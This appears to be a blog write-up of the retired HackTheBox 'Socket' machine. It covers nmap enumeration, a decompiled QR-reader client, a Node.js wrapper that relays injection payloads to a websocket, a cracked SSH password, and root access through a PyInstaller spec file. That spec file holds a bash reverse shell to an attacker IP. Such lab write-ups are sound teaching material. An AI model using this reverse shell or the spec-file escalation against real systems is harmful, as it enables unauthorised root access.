HackTheBox - Socket

Hackthebox - Socket

Initial Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Mon Mar 27 12:01:06 2023 as: nmap -sC -sV -oN nmap/socket socket.htb
Nmap scan report for socket.htb (10.129.194.101)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 27 12:01:25 2023 -- 1 IP address (1 host up) scanned in 19.37 seconds

Web

app was a ELF file

decompiling it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# Source Generated with Decompyle++
# File: qreader.pyc (Python 3.9)

import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'

def setup_env():
global tmp_file_name
pass
# WARNING: Decompyle incomplete


class MyGUI(QMainWindow):

def __init__(self = None):
super(MyGUI, self).__init__()
uic.loadUi(tmp_file_name, self)
self.show()
self.current_file = ''
self.actionImport.triggered.connect(self.load_image)
self.actionSave.triggered.connect(self.save_image)
self.actionQuit.triggered.connect(self.quit_reader)
self.actionVersion.triggered.connect(self.version)
self.actionUpdate.triggered.connect(self.update)
self.pushButton.clicked.connect(self.read_code)
self.pushButton_2.clicked.connect(self.generate_code)
self.initUI()


def initUI(self):
self.setWindowIcon(QtGui.QIcon(icon_path))


def load_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
if filename != '':
self.current_file = filename
pixmap = QtGui.QPixmap(self.current_file)
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)


def save_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options, **('options',))
if filename != '':
img = self.label.pixmap()
img.save(filename, 'PNG')


def read_code(self):
if self.current_file != '':
img = cv2.imread(self.current_file)
detector = cv2.QRCodeDetector()
(data, bbox, straight_qrcode) = detector.detectAndDecode(img)
self.textEdit.setText(data)
else:
self.statusBar().showMessage('[ERROR] No image is imported!')


def generate_code(self):
qr = qrcode.QRCode(1, qrcode.constants.ERROR_CORRECT_L, 20, 2, **('version', 'error_correction', 'box_size', 'border'))
qr.add_data(self.textEdit.toPlainText())
qr.make(True, **('fit',))
img = qr.make_image('black', 'white', **('fill_color', 'back_color'))
img.save('current.png')
pixmap = QtGui.QPixmap('current.png')
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)


def quit_reader(self):
if os.path.exists(tmp_file_name):
os.remove(tmp_file_name)
sys.exit()


def version(self):
response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
'version': VERSION })))
data = json.loads(response)
if 'error' not in data.keys():
version_info = data['message']
msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
self.statusBar().showMessage(msg)
else:
error = data['error']
self.statusBar().showMessage(error)


def update(self):
response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({
'version': VERSION })))
data = json.loads(response)
if 'error' not in data.keys():
msg = '[INFO] ' + data['message']
self.statusBar().showMessage(msg)
else:
error = data['error']
self.statusBar().showMessage(error)

__classcell__ = None


async def ws_connect(url, msg):
pass
# WARNING: Decompyle incomplete


def main():
(status, e) = setup_env()
if not status:
print('[-] Problem occured while setting up the env!')
app = QApplication([])
window = MyGUI()
app.exec_()

if __name__ == '__main__':
main()

I created a simple wrapper to make it a http requests

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const express = require('express');
const morgan = require('morgan')
const WebSocket = require('ws');
const wsHost = 'ws://ws.qreader.htb:5789';


const processRequest = (endpoint,data) =>{
console.log(data)
return new Promise((resolve,reject) =>{
const ws = new WebSocket(wsHost + endpoint);
ws.on('open', () => {
console.log("Sent",data)
ws.send(data);
});
ws.on('message', (message) => {
console.log("Recieved",message)
resolve(message);
});
ws.on('error', (error) => {
console.log("Recieved",error)
reject(error);
});
ws.on('close',(message)=>{
reject(message)
})

})
}



const app = express();

const port = 3000;
app.use(morgan("combined"))
app.get('/version', async (req, res) => {
try{
let payload = req.query.version.replaceAll('"','\\\"')
let data = `{"version":"${payload}"}`
console.log(`Trying ${data}`)
JSON.parse(data)
let response = await processRequest('/version',data)
res.send(response);
}
catch(e){
res.status(500).send({"message":"Invalid Request"})
}
});

app.get('/update', async (req, res) => {
let response = await processRequest('/update',{version:req.query.version})
res.send(response);
});

app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});

trying some payload we get blind injection on version ws.

using the script i was able to get

cracking the hash we get the password to be denjanjade122566

Possible Name

Privillege Escalation

1
sshpass -p denjanjade122566 ssh tkeller@10.10.11.206

So i created a very simple spec file with

1
2
3
4
# -*- mode: python -*-
block_cipher = None
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.49/1337 0>&1"')

running build we get a reverse shell as root

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/socket/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.